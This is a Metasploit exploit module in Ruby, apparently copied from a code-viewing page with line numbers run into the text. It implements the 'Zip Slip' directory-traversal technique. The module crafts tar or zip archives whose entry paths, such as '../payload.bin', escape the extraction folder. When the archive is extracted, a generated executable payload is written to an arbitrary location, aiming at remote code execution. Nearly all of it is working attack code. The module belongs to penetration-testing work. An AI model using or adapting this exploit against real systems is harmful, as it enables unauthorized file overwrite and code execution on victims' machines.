Path: blob/master/modules/exploits/multi/fileformat/zip_slip.rb
19848 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'rex/zip'67class MetasploitModule < Msf::Exploit::Remote8Rank = ManualRanking910include Msf::Exploit::FILEFORMAT11include Msf::Exploit::EXE1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Generic Zip Slip Traversal Vulnerability',18'Description' => %q{19This is a generic arbitrary file overwrite technique, which typically results in remote20command execution. This targets a simple yet widespread vulnerability that has been21seen affecting a variety of popular products including HP, Amazon, Apache, Cisco, etc.22The idea is that often archive extraction libraries have no mitigations against23directory traversal attacks. If an application uses it, there is a risk when opening an24archive that is maliciously modified, and result in the embedded payload to be written25to an arbitrary location (such as a web root), and result in remote code execution.26},27'License' => MSF_LICENSE,28'Author' => [29'Snyk', # Technique discovery30'sinn3r', # Metasploit31'ggkitsas'32],33'References' => [34['URL', 'https://snyk.io/research/zip-slip-vulnerability']35],36'DefaultOptions' => {37'EXITFUNC' => 'thread',38'DisablePayloadHandler' => true39},40'Platform' => ['linux', 'win', 'unix'],41'Targets' => [42['Manually determined', {}]43],44'Privileged' => false,45'DisclosureDate' => '2018-06-05',46'Notes' => {47'Reliability' => UNKNOWN_RELIABILITY,48'Stability' => UNKNOWN_STABILITY,49'SideEffects' => UNKNOWN_SIDE_EFFECTS50}51)52)5354register_options([55OptString.new('FILENAME', [true, 'The name of the archive file', 'msf.tar']),56OptEnum.new('FTYPE', [true, 'The archive type', 'tar', ['tar', 'zip'] ]),57OptString.new('TARGETPAYLOADPATH', [true, 'The targeted path for payload', '../payload.bin'])58])59end6061class ZipSlipArchive62attr_reader :data63attr_reader :fname64attr_reader :payload65attr_reader :type6667def initialize(n, p, t)68@fname = n69@payload = p70@type = t71@data = make72end7374def make75data = ''76path = Rex::FileUtils.normalize_unix_path(fname)7778if type == 'tar'79contents = StringIO.new80Rex::Tar::Writer.new(contents) do |t|81t.add_file(path, 0o777) do |f|82f.write(payload)83end84end85contents.seek(0)86data = contents.read87contents.close88data89elsif type == 'zip'90zip = Rex::Zip::Archive.new91zip.add_file(path, payload)92data = zip.pack93end94end95end9697def make_archive(target_payload_path, type)98elf = generate_payload_exe(code: payload.encoded)99archive = ZipSlipArchive.new(target_payload_path, generate_payload_exe, type)100archive.make101end102103def exploit104target_payload_path = datastore['TARGETPAYLOADPATH']105unless target_payload_path.match(%r{\.\./})106print_error('Please set a traversal path')107return108end109110archive = make_archive(target_payload_path, datastore['FTYPE'])111file_create(archive)112print_status('When extracted, the payload is expected to extract to:')113print_status(target_payload_path)114end115end116117# A quick test:118#119# $ python120# >>> import tarfile121# >>> t = tarfile.open('test.tar')122# >>> t.extractall()123# >>> exit()124#125126127